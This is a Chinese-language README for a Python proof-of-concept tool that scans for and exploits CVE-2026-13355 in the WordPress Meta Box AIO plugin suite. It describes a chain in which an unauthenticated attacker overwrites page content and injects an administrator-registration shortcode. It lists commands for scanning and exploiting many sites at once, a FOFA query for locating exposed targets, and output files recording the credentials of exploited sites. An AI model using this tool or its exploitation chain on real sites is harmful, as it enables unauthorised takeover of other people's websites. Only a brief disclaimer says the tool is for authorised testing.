针对 WordPress 插件包 Meta Box AIO(以及相关的 MB Frontend Submission / MB User Profile 扩展)中 CVE-2026-13355 的 Python 3 概念验证扫描器与漏洞利用工具。
| 平台 | WordPress 插件 |
| 组件 | Meta Box AIO |
| 受影响版本 | Meta Box AIO ≤ 3.11.0;MB Frontend Submission ≤ 4.5.6;MB User Profile ≤ 3.11.0 |
| 修复版本 | Meta Box AIO 3.12.0+(Form::process() 授权) |
| CVSS | 9.8 严重 |
| 认证 | 未认证 |
| CWE | CWE-269 — 权限管理不当 |
| 研究者 | h0xilo (Wordfence) |
两个捆绑扩展中的链式缺陷允许未认证创建管理员账户:
mbfs) — rwmb_frontend_field_object_id 在未授权的情况下覆盖表单目标;Form::process() 省略了 user_can_edit(),因此攻击者可以调用 wp_update_post() 并覆盖任意文章/页面上的 post_content。mbup) — 注入的 [mb_user_profile_register role="administrator" auto_login="true"] 短代码属性在未经角色验证的情况下被信任。重要提示: 该利用链需要一个公开的 mbfs(前端提交)表单,而非仅限登录的 mbup 表单。许多 FOFA 命中仅暴露 mbup 登录/注册界面——这些被标记为 plugin_mbup_only,无法通过此链利用。
pip install -r requirements.txtpip install -r requirements.txt
# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check
# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20
# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
--form-url /contact/ --object-id 12 --verify
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify
示例查询:
body="/wp-content/plugins/meta-box-aio/"
规范化 FOFA CSV 导出:
python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20
在利用运行时使用 --vuln-list exploited.txt,以免 hits.txt 中的检查命中被覆盖。
status 值?rwmb_frontend_field_object_id=<id> 的 mbfs 表单 POST post_content。mbfs 表单通常缺少真实的 post_content 字段;实际中覆盖可能仍然失败。.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
本地扫描列表和运行产物(list.txt、fofa*.csv、*.jsonl、hits*.txt 等)位于 .gitignore 中,不应提交。
仅供授权安全测试与教育使用。您有责任遵守适用法律和项目规则。
| 选项 | 描述 |
|---|
-u, --url | 单个基础 URL |
--list | URL 列表、FOFA 规范化 CSV(url 列)或 candidates.jsonl |
--mode | check 或 exploit |
--form-url | 包含 [mb_frontend_form ...] / mbfs-form 的页面 |
--object-id | 用于 rwmb_frontend_field_object_id 的文章/页面 ID |
--paths | 额外爬取以查找前端表单的路径 |
--username, --email, --password | 注册凭据(利用) |
--shortcode | 注入的 post_content 载荷(默认管理员注册短代码) |
--verify | 注册后通过 /wp-admin/ 或 wp-login.php 确认 |
--flow | 批量运行时每个目标流式输出一行(使用 --list 时默认) |
--no-flow | 仅显示进度摘要 |
--quiet, -q | 最小化控制台输出 |
--threads, -j | 批量并发数(默认 15) |
--output | JSONL 日志(默认 cve_2026_13355_results.jsonl) |
--vuln-list | 文本命中/已利用行(默认 hits.txt / 利用时使用 exploited.txt) |
--candidates-list | 检查元数据 JSONL(默认 candidates.jsonl) |
| 文件 | 模式 | 内容 |
|---|
cve_2026_13355_results.jsonl | 两者 | 每个目标的完整 JSON |
hits.txt | check | 包含 candidate_mbfs 的 URL |
candidates.jsonl | check | form_url、object_id、版本提示 |
exploited.txt | exploit | url|user|email|pass|oid=… |
| 状态 | 含义 |
|---|
candidate_mbfs | 插件存在 + 发现 MB Frontend Submission 表单(可能可利用) |
plugin_mbup_only | 仅有 User Profile 登录/注册表单 — 不是此 CVE 链 |
plugin_no_frontend_forms | 插件指纹存在,未发现 rwmb 前端表单 |
patched | 版本高于受影响范围(当可读取时) |
no_plugin | 未检测到 Meta Box AIO / 扩展 |